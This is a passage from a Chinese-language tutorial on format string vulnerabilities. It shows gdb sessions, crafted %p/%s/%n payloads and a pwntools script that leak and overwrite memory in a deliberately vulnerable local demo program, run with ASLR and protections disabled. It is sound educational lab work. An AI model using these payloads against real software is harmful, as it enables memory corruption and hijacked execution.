000000404020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000404028  000500000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0
sakura@Kylin:~/文档/print$ 

.rel.plt 中有四个函数可供我们选择,按理说选择任意一个都没有问题,但是在实践中我们会发现一些问题。下面的结果分别是 printf__libc_start_mainputchar__isoc99_scanf

sakura@Kylin:~/文档/print$ python2 -c 'print("A"*8+".%p."*20+"\x20\x40\x40\x00\x00\x00\x00\x00")' | ./fmtdemo
AAAAAAAA.0x1..0x88888888..0xffffffff..0x7fffffffdf36..0x7c..0x4241000000000000..0x484746454443..0x4141414141414141..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x401200..0x7ffff7fa72e8.

sakura@Kylin:~/文档/print$ python2 -c 'print("A"*8+".%p."*20+"\xf0\x3f\x40\x00\x00\x00\x00\x00")' | ./fmtdemo
AAAAAAAA.0x1..0x88888888..0xffffffff..0x7fffffffdf36..0x7c..0x4241000000000000..0x484746454443..0x4141414141414141..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x403ff0..0x7ffff7fa7200.�?@

sakura@Kylin:~/文档/print$ python2 -c 'print("A"*8+".%p."*20+"\x18\x40\x40\x00\x00\x00\x00\x00")' | ./fmtdemo
AAAAAAAA.0x1..0x88888888..0xffffffff..0x7fffffffdf36..0x7c..0x4241000000000000..0x484746454443..0x4141414141414141..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x404018..0x7ffff7fa7200.@@

sakura@Kylin:~/文档/print$ python2 -c 'print("A"*8+".%p."*20+"\x28\x40\x40\x00\x00\x00\x00\x00")' | ./fmtdemo
AAAAAAAA.0x1..0x88888888..0xffffffff..0x7fffffffdf36..0x7c..0x4241000000000000..0x484746454443..0x4141414141414141..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x2e70252e2e70252e..0x404028..0x7ffff7fa7200.(@@

细心一点你就会发现第一个(printf)的结果有问题。我们输入了 \x20\x40\x40\x00\x00\x00\x00\x000x000000404020),可是 21 号位置输出的结果却是 0x401200,那么,\20 哪去了?

查了一下 ASCII 表,发现 \x0C (’\f’)、\x07(’\a’)、\x08(’\b’)、\x20(SPACE)等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个(__isoc99_scanf)。

sakura@Kylin:~/文档/print$ python2 -c 'print("A"*10+".%10$p"+"\x28\x40\x40\x00\x00\x00\x00\x00")' | ./fmtdemo
AAAAAAAAAA.0x404028(@@
sakura@Kylin:~/文档/print$ python2 -c 'print("A"*10+".%10$s"+"\x28\x40\x40\x00\x00\x00\x00\x00")' | ./fmtdemo
AAAAAAAAAA.�����(@@

sakura@Kylin:~/文档/print$ python2 -c 'print("A"*10+".%10$p"+"\x28\x40\x40\x00\x00\x00\x00\x00")'>text
sakura@Kylin:~/文档/print$ gdb-gef fmtdemo
gef➤  b printf
gef➤  r < text

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0000000000401210  →  <__libc_csu_init+0> endbr64 
$rcx   : 0xffffffff        
$rdx   : 0x88888888        
$rsp   : 0x00007fffffffdec8  →  0x00000000004011f6  →  <main+128> mov edi, 0xa
$rbp   : 0x00007fffffffdf70  →  0x0000000000000000
$rsi   : 0x1               
$rdi   : 0x00007fffffffdee0  →  "AAAAAAAAAA.%10$p(@@"
$rip   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r8    : 0x00007fffffffded6  →  "ABCDEFGH"
$r9    : 0x7c              
$r10   : 0x00007ffff7fef8c0  →   pxor xmm0, xmm0
$r11   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r12   : 0x0000000000401090  →  <_start+0> endbr64 
$r13   : 0x00007fffffffe060  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdec8│+0x0000: 0x00000000004011f6  →  <main+128> mov edi, 0xa	 ← $rsp
0x00007fffffffded0│+0x0008: 0x4241000000000000
0x00007fffffffded8│+0x0010: 0x0000484746454443 ("CDEFGH"?)
0x00007fffffffdee0│+0x0018: "AAAAAAAAAA.%10$p(@@"$rdi
0x00007fffffffdee8│+0x0020: "AA.%10$p(@@"
0x00007fffffffdef0│+0x0028: 0x0000000000404028  →  0x00007ffff7e190b0  →  <__isoc99_scanf+0> endbr64 
0x00007fffffffdef8│+0x0030: 0x0000000000000000
0x00007fffffffdf00│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e17c81 <fprintf+177>    ret    
   0x7ffff7e17c82 <fprintf+178>    call   0x7ffff7ee5a70 <__stack_chk_fail>
   0x7ffff7e17c87                  nop    WORD PTR [rax+rax*1+0x0]
 → 0x7ffff7e17c90 <printf+0>       endbr64 
   0x7ffff7e17c94 <printf+4>       sub    rsp, 0xd8
   0x7ffff7e17c9b <printf+11>      mov    r10, rdi
   0x7ffff7e17c9e <printf+14>      mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7e17ca3 <printf+19>      mov    QWORD PTR [rsp+0x30], rdx
   0x7ffff7e17ca8 <printf+24>      mov    QWORD PTR [rsp+0x38], rcx
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fmtdemo", stopped 0x7ffff7e17c90 in printf (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e17c90 → printf()
[#1] 0x4011f6 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  x/g 0x0000000000404028
0x404028 <__isoc99_scanf@got.plt>:	0x7ffff7e190b0
gef➤  c
Continuing.
AAAAAAAAAA.0x404028(@@
[Inferior 1 (process 23800) exited with code 012]
gef➤  

虽然我们可以通过 x/w 指令得到 __isoc99_scanf 函数的虚拟地址 0x7ffff7e190b0。但是由于 0x0000000000404028 处的内容是仍然一个指针,使用 %10$s 打印并不成功。

2.2.4 栈数据覆盖

现在我们已经可以读取栈上和任意地址的内存了,接下来我们更进一步,通过修改栈和内存来劫持程序的执行流程。%n 转换指示符将 %n 当前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。

//coverStack.c
#include<stdio.h>
void main() {
    int i;
    char str[] = "hello";

    printf("%s %n\n", str, &i);
    printf("%d\n", i);
}
sakura@Kylin:~/文档/print$ ./coverStack 
hello 
6

i 被赋值为 6,因为在遇到转换指示符之前一共写入了 6 个字符(hello 加上一个"\0")。在没有长度修饰符时,默认写入一个 int 类型的值。

通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数,如果实际位数大于定义的宽度,则按实际位数输出,反之则以空格或 0 补齐(0 补齐时在宽度前加点.0)。如:

//coverStack.c
#include<stdio.h>
void main() {
    int i;

    printf("%10u%n\n", 1, &i);
    printf("%d\n", i);
    printf("%.50u%n\n", 1, &i);
    printf("%d\n", i);
    printf("%0100u%n\n", 1, &i);
    printf("%d\n", i);
}
sakura@Kylin:~/文档/print$ ./coverStack 
         1
10
00000000000000000000000000000000000000000000000001
50
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
100

还是我们在 2.2.2 栈数据泄露 中使用的程序,我们尝试将 arg4 的值更改为任意值(比如 0x00000040,十进制 64),在 gdb 中可以看到得到 arg4 的地址 0x00007fffffffded6,那么我们构造格式字符串 %016x%016x%032d%9$n\xd6\xde\xff\xff\xff\x7f\x00\x00。 \1. %016x%016x 表示两个 32 字符宽的十六进制数,占 16 字节。 \2. %032d 占 32 字节,三个部分加起来就占了 16+16+32=64 字节,即把 arg4 赋值为 0x00000040。 \3. \xd6\xde\xff\xff\xff\x7f\x00\x00 表示 arg4 的地址,由于在 %n 后面所以不被计入。 \4. 格式字符串最后一部分 %9$n 也是最重要的一部分,由于 \x00 字符截断的原因,我们需要把 arg4 的地址放在最后。所以它的偏移可能不是 8,还需要我们进一步调试,这里暂且先用偏移 8 来解释。 %9$n 和上面的内容一样,表示格式字符串的第 9 个参数,即写入 \xd6\xde\xff\xff\xff\x7f\x00\x00 的地方,printf() 就是通过这个地址找到被覆盖的内容的。

首先,为了确定 arg4 在栈中的偏移,传入参数:%016x.%016x.%022d.%11$p.\xd6\xde\xff\xff\xff\x7f\x00\x00 用以区分出地址。

sakura@Kylin:~/文档/print$ python2 -c 'print("%016x.%016x.%022d.%11$p.\xd6\xde\xff\xff\xff\x7f\x00\x00")' > text
sakura@Kylin:~/文档/print$ gdb-gef fmtdemo
gef➤  b printf
gef➤  r < text

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0000000000401210  →  <__libc_csu_init+0> endbr64 
$rcx   : 0xffffffff        
$rdx   : 0x88888888        
$rsp   : 0x00007fffffffdec8  →  0x00000000004011f6  →  <main+128> mov edi, 0xa
$rbp   : 0x00007fffffffdf70  →  0x0000000000000000
$rsi   : 0x1               
$rdi   : 0x00007fffffffdee0  →  0x30252e7836313025 ("%016x.%0"?)
$rip   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r8    : 0x00007fffffffded6  →  "ABCDEFGH"
$r9    : 0x7c              
$r10   : 0x00007ffff7fef8c0  →   pxor xmm0, xmm0
$r11   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r12   : 0x0000000000401090  →  <_start+0> endbr64 
$r13   : 0x00007fffffffe060  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdec8│+0x0000: 0x00000000004011f6  →  <main+128> mov edi, 0xa	 ← $rsp
0x00007fffffffded0│+0x0008: 0x4241000000000000
0x00007fffffffded8│+0x0010: 0x0000484746454443 ("CDEFGH"?)
0x00007fffffffdee0│+0x0018: 0x30252e7836313025	 ← $rdi
0x00007fffffffdee8│+0x0020: 0x323230252e783631
0x00007fffffffdef0│+0x0028: 0x2e70243131252e64
0x00007fffffffdef8│+0x0030: 0x00007fffffffded6  →  "ABCDEFGH"
0x00007fffffffdf00│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e17c81 <fprintf+177>    ret    
   0x7ffff7e17c82 <fprintf+178>    call   0x7ffff7ee5a70 <__stack_chk_fail>
   0x7ffff7e17c87                  nop    WORD PTR [rax+rax*1+0x0]
 → 0x7ffff7e17c90 <printf+0>       endbr64 
   0x7ffff7e17c94 <printf+4>       sub    rsp, 0xd8
   0x7ffff7e17c9b <printf+11>      mov    r10, rdi
   0x7ffff7e17c9e <printf+14>      mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7e17ca3 <printf+19>      mov    QWORD PTR [rsp+0x30], rdx
   0x7ffff7e17ca8 <printf+24>      mov    QWORD PTR [rsp+0x38], rcx
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fmtdemo", stopped 0x7ffff7e17c90 in printf (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e17c90 → printf()
[#1] 0x4011f6 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  c
Continuing.
0000000000000001.0000000088888888.-000000000000000000001.0x7fffffffded6.�����
[Inferior 1 (process 24935) exited with code 012]
gef➤  

经过不断调试,最终我们找到了我们写入的参数的位置 偏移:10,接下来就是写入了。

sakura@Kylin:~/文档/print$ python2 -c 'print("%016x%016x%032d%11$n.\xd6\xde\xff\xff\xff\x7f\x00\x00")' > text
sakura@Kylin:~/文档/print$ gdb-gef fmtdemo
Reading symbols from fmtdemo...
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 9.1 in 0.01ms using Python engine 3.8
gef➤  b printf
Breakpoint 1 at 0x401070
gef➤  r < text
Starting program: /home/sakura/文档/print/fmtdemo < text
[*] Failed to find objfile or not a valid file format: [Errno 2] 没有那个文件或目录: 'system-supplied DSO at 0x7ffff7fcd000'

Breakpoint 1, 0x00007ffff7e17c90 in printf () from /lib/x86_64-linux-gnu/libc.so.6

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0000000000401210  →  <__libc_csu_init+0> endbr64 
$rcx   : 0xffffffff        
$rdx   : 0x88888888        
$rsp   : 0x00007fffffffdec8  →  0x00000000004011f6  →  <main+128> mov edi, 0xa
$rbp   : 0x00007fffffffdf70  →  0x0000000000000000
$rsi   : 0x1               
$rdi   : 0x00007fffffffdee0  →  0x3130257836313025 ("%016x%01"?)
$rip   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r8    : 0x00007fffffffded6  →  "ABCDEFGH"
$r9    : 0x7c              
$r10   : 0x00007ffff7fef8c0  →   pxor xmm0, xmm0
$r11   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r12   : 0x0000000000401090  →  <_start+0> endbr64 
$r13   : 0x00007fffffffe060  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdec8│+0x0000: 0x00000000004011f6  →  <main+128> mov edi, 0xa	 ← $rsp
0x00007fffffffded0│+0x0008: 0x4241000000000000
0x00007fffffffded8│+0x0010: 0x0000484746454443 ("CDEFGH"?)
0x00007fffffffdee0│+0x0018: 0x3130257836313025	 ← $rdi
0x00007fffffffdee8│+0x0020: 0x2564323330257836
0x00007fffffffdef0│+0x0028: 0xffded62e6e243131
0x00007fffffffdef8│+0x0030: 0x00000000007fffff
0x00007fffffffdf00│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e17c81 <fprintf+177>    ret    
   0x7ffff7e17c82 <fprintf+178>    call   0x7ffff7ee5a70 <__stack_chk_fail>
   0x7ffff7e17c87                  nop    WORD PTR [rax+rax*1+0x0]
 → 0x7ffff7e17c90 <printf+0>       endbr64 
   0x7ffff7e17c94 <printf+4>       sub    rsp, 0xd8
   0x7ffff7e17c9b <printf+11>      mov    r10, rdi
   0x7ffff7e17c9e <printf+14>      mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7e17ca3 <printf+19>      mov    QWORD PTR [rsp+0x30], rdx
   0x7ffff7e17ca8 <printf+24>      mov    QWORD PTR [rsp+0x38], rcx
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fmtdemo", stopped 0x7ffff7e17c90 in printf (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e17c90 → printf()
[#1] 0x4011f6 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤

我们发现地址未对齐,调整我们传入的参数,使得地址对齐。

sakura@Kylin:~/文档/print$ python2 -c 'print("%016x%016x%032d%11$n....\xd6\xde\xff\xff\xff\x7f\x00\x00")' > text
sakura@Kylin:~/文档/print$ gdb-gef fmtdemo
Reading symbols from fmtdemo...
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 9.1 in 0.00ms using Python engine 3.8
gef➤  b printf
Breakpoint 1 at 0x401070
gef➤  r < text
Starting program: /home/sakura/文档/print/fmtdemo < text
[*] Failed to find objfile or not a valid file format: [Errno 2] 没有那个文件或目录: 'system-supplied DSO at 0x7ffff7fcd000'

Breakpoint 1, 0x00007ffff7e17c90 in printf () from /lib/x86_64-linux-gnu/libc.so.6

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0000000000401210  →  <__libc_csu_init+0> endbr64 
$rcx   : 0xffffffff        
$rdx   : 0x88888888        
$rsp   : 0x00007fffffffdec8  →  0x00000000004011f6  →  <main+128> mov edi, 0xa
$rbp   : 0x00007fffffffdf70  →  0x0000000000000000
$rsi   : 0x1               
$rdi   : 0x00007fffffffdee0  →  0x3130257836313025 ("%016x%01"?)
$rip   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r8    : 0x00007fffffffded6  →  "ABCDEFGH"
$r9    : 0x7c              
$r10   : 0x00007ffff7fef8c0  →   pxor xmm0, xmm0
$r11   : 0x00007ffff7e17c90  →  <printf+0> endbr64 
$r12   : 0x0000000000401090  →  <_start+0> endbr64 
$r13   : 0x00007fffffffe060  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdec8│+0x0000: 0x00000000004011f6  →  <main+128> mov edi, 0xa	 ← $rsp
0x00007fffffffded0│+0x0008: 0x4241000000000000
0x00007fffffffded8│+0x0010: 0x0000484746454443 ("CDEFGH"?)
0x00007fffffffdee0│+0x0018: 0x3130257836313025	 ← $rdi
0x00007fffffffdee8│+0x0020: 0x2564323330257836
0x00007fffffffdef0│+0x0028: 0x2e2e2e2e6e243131
0x00007fffffffdef8│+0x0030: 0x00007fffffffded6  →  "ABCDEFGH"
0x00007fffffffdf00│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7e17c81 <fprintf+177>    ret    
   0x7ffff7e17c82 <fprintf+178>    call   0x7ffff7ee5a70 <__stack_chk_fail>
   0x7ffff7e17c87                  nop    WORD PTR [rax+rax*1+0x0]
 → 0x7ffff7e17c90 <printf+0>       endbr64 
   0x7ffff7e17c94 <printf+4>       sub    rsp, 0xd8
   0x7ffff7e17c9b <printf+11>      mov    r10, rdi
   0x7ffff7e17c9e <printf+14>      mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7e17ca3 <printf+19>      mov    QWORD PTR [rsp+0x30], rdx
   0x7ffff7e17ca8 <printf+24>      mov    QWORD PTR [rsp+0x38], rcx
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fmtdemo", stopped 0x7ffff7e17c90 in printf (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7e17c90 → printf()
[#1] 0x4011f6 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  x/20g $rsp
0x7fffffffdec8:	0x4011f6	0x4241000000000000
0x7fffffffded8:	0x484746454443	0x3130257836313025
0x7fffffffdee8:	0x2564323330257836	0x2e2e2e2e6e243131
0x7fffffffdef8:	0x7fffffffded6	0x0
0x7fffffffdf08:	0x0	0x400040
0x7fffffffdf18:	0xf0b5ff	0xc2
0x7fffffffdf28:	0x7fffffffdf57	0x7fffffffdf56
0x7fffffffdf38:	0x40125d	0x7ffff7fa72e8
0x7fffffffdf48:	0x401210	0x0
0x7fffffffdf58:	0x401090	0xffffffffffffe060
gef➤  finish
Run till exit from #0  0x00007ffff7e17c90 in printf () from /lib/x86_64-linux-gnu/libc.so.6
main () at fmtdemo.c:8
8	    printf("\n");

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x4a              
$rbx   : 0x0000000000401210  →  <__libc_csu_init+0> endbr64 
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x00007fffffffded0  →  0x0040000000000000
$rbp   : 0x00007fffffffdf70  →  0x0000000000000000
$rsi   : 0xffffded62e2e2e2e
$rdi   : 0x00007ffff7fa47e0  →  0x0000000000000000
$rip   : 0x00000000004011f6  →  <main+128> mov edi, 0xa
$r8    : 0xffffffff        
$r9    : 0x4a              
$r10   : 0x00007fffffffd3d0  →  0x0000000000000001
$r11   : 0x6e              
$r12   : 0x0000000000401090  →  <_start+0> endbr64 
$r13   : 0x00007fffffffe060  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffded0│+0x0000: 0x0040000000000000	 ← $rsp
0x00007fffffffded8│+0x0008: 0x0000484746450000
0x00007fffffffdee0│+0x0010: 0x3130257836313025
0x00007fffffffdee8│+0x0018: 0x2564323330257836
0x00007fffffffdef0│+0x0020: 0x2e2e2e2e6e243131
0x00007fffffffdef8│+0x0028: 0x00007fffffffded6  →  0x4847464500000040 ("@"?)
0x00007fffffffdf00│+0x0030: 0x0000000000000000
0x00007fffffffdf08│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4011e9 <main+115>       mov    rdi, rax
     0x4011ec <main+118>       mov    eax, 0x0
     0x4011f1 <main+123>       call   0x401070 <printf@plt>
 →   0x4011f6 <main+128>       mov    edi, 0xa
     0x4011fb <main+133>       call   0x401060 <putchar@plt>
     0x401200 <main+138>       nop    
     0x401201 <main+139>       leave  
     0x401202 <main+140>       ret    
     0x401203                  nop    WORD PTR cs:[rax+rax*1+0x0]
──────────────────────────────────────────────────────── source:fmtdemo.c+8 ────
      3	     char format[128];
      4	     int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
      5	     char arg4[10] = "ABCDEFGH";
      6	     scanf("%s", format);
      7	     printf(format, arg1, arg2, arg3, arg4);
 →    8	     printf("\n");
      9	 }
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fmtdemo", stopped 0x4011f6 in main (), reason: TEMPORARY BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011f6 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  x/20g $rsp
0x7fffffffded0:	0x40000000000000	0x484746450000
0x7fffffffdee0:	0x3130257836313025	0x2564323330257836
0x7fffffffdef0:	0x2e2e2e2e6e243131	0x7fffffffded6
0x7fffffffdf00:	0x0	0x0
0x7fffffffdf10:	0x400040	0xf0b5ff
0x7fffffffdf20:	0xc2	0x7fffffffdf57
0x7fffffffdf30:	0x7fffffffdf56	0x40125d
0x7fffffffdf40:	0x7ffff7fa72e8	0x401210
0x7fffffffdf50:	0x0	0x401090
0x7fffffffdf60:	0xffffffffffffe060	0x188888888
gef➤  c
Continuing.
00000000000000010000000088888888-0000000000000000000000000000001....�����
[Inferior 1 (process 25193) exited with code 012]
gef➤  

对比 printf() 函数执行前后的输出,printf 首先解析 %11$n 找到获得地址 0x00007fffffffdef8 的值 0x00007fffffffded6,然后跳转到地址 0x00007fffffffded6,将它的值 0x4443424100000000 覆盖为 0x40000000000000,就得到 arg4=0x40000000000000

2.2.5 任意地址内存覆盖

覆盖任意地址,我们只需要将上节中的地址更改一下就能任意覆盖了。

最后还得强调两点:

  • 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同。
  • 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址。

2.2.6 CTF 中的格式化字符串漏洞

以下内容参考: 64位格式化字符串漏洞pwn入门

目标程序:

//fmtdemoI.c
#include<stdio.h>
void main()
{
    char format[128];
    int arg1 =1,arg2=0x88888888,arg3=-1;
    char arg4[10]="ABCDEFGH";
 
    scanf("%s",format);
    printf(format,arg1,arg2,arg3,arg4);
    printf("arg4的地址:%p\n",&arg4);
    printf("\n");
}

做实验首先要注意 1.关闭ASLR,linux下ASLR是自动开启的,不关闭的话栈地址每次都是随机的(可能要管理员权限)

echo 0 > /proc/sys/kernel/randomize_va_space

2.编译时关闭CANARY,PIE。

gcc -fno-stack-protector -no-pie fmtdemoI.c -o fmtdemoI

3.执行fmtdemoI获取arg4的地址

sakura@Kylin:~/文档/print$ python -c 'print("A"*8+".%p"*20)'
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
sakura@Kylin:~/文档/print$ ./fmtdemoI
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAAAAAA.0x1.0x88888888.0xffffffff.0x7fffffffdf36.0x7c.0x4241000000000000.0x484746454443.0x4141414141414141.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x70252e70.0x7fffffffdfb7.0x7fffffffdfb6.0x40126d.0x7ffff7fa72e8arg4的地址:0x7fffffffdf36

如上,AAAAAAAA(即4141414141414141)在格式化字符串的后8个偏移。arg4的地址为0x7fffffffdf36。

经调试,arg4的偏移为10,并且还要注意字符对齐。

sakura@Kylin:~/文档/print$ python -c 'print("A"*11+"%10$s"+"\x36\xdf\xff\xff\xff\x7f\x00\x00")' | ./fmtdemoI
AAAAAAAAAAAABCDEFGH6����arg4的地址:0x7fffffffdf36

以下为 python3程序。

#fmtdemoI.py
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
file = ELF("./fmtdemoI")
 
io = process("./fmtdemoI")
addr_arg4 = 0x7fffffffdf36 #arg4的地址
payload = (b'A'*11)+(b'%10$s')+p64(addr_arg4)
print(payload)
io.sendline(payload)
 
io.interactive()

执行 fmtdemoI.py,由于此时,获得的 arg4 的地址为 0x7fffffffdf26,所以跟着调整我们的 fmtdemoI.py ,addr_arg4 = 0x7fffffffdf26

sakura@Kylin:~/文档/print$ python3 fmt.py 
[*] '/home/sakura/文档/print/fmtdemoI'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './fmtdemoI' argv=[b'./fmtdemoI'] : pid 26174
b'AAAAAAAAAAA%10$s\xd6\xde\xff\xff\xff\x7f\x00\x00'
[DEBUG] Sent 0x19 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 25  31 30 24 73  │AAAA│AAAA│AAA%│10$s    00000010  d6 de ff ff  ff 7f 00 00  0a                        │····│····│·│
    00000019
[*] Switching to interactive mode
[*] Process './fmtdemoI' stopped with exit code 10 (pid 26174)
[DEBUG] Received 0x31 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 d6  de ff ff ff  │AAAA│AAAA│AAA·│····│
    00000010  7f 61 72 67  34 e7 9a 84  e5 9c b0 e5  9d 80 ef bc  │·arg│4···│····│····│
    00000020  9a 30 78 37  66 66 66 66  66 66 66 64  66 32 36 0a  │·0x7│ffff│fffd│f26·│
    00000030  0a                                                  │·│
    00000031
AAAAAAAAAAA\xd6\xde\xff\xff\xff\x7farg4的地址:0x7fffffffdf26

[*] Got EOF while reading in interactive
$ 
[DEBUG] Sent 0x1 bytes:
    10 * 0x1
[*] Got EOF while sending in interactive
Traceback (most recent call last):
  File "/home/sakura/.local/lib/python3.8/site-packages/pwnlib/tubes/process.py", line 746, in close
    fd.close()
BrokenPipeError: [Errno 32] Broken pipe


sakura@Kylin:~/文档/print$ python3 fmt.py 
[*] '/home/sakura/文档/print/fmtdemoI'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './fmtdemoI' argv=[b'./fmtdemoI'] : pid 26190
b'AAAAAAAAAAA%10$s&\xdf\xff\xff\xff\x7f\x00\x00'
[DEBUG] Sent 0x19 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 25  31 30 24 73  │AAAA│AAAA│AAA%│10$s    00000010  26 df ff ff  ff 7f 00 00  0a                        │&···│····│·│
    00000019
[*] Switching to interactive mode
[*] Process './fmtdemoI' stopped with exit code 10 (pid 26190)
[DEBUG] Received 0x39 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  42 43 44 45  │AAAA│AAAA│AAAA│BCDE│
    00000010  46 47 48 26  df ff ff ff  7f 61 72 67  34 e7 9a 84  │FGH&│····│·arg│4···│
    00000020  e5 9c b0 e5  9d 80 ef bc  9a 30 78 37  66 66 66 66  │····│····│·0x7│ffff│
    00000030  66 66 66 64  66 32 36 0a  0a                        │fffd│f26·│·│
    00000039
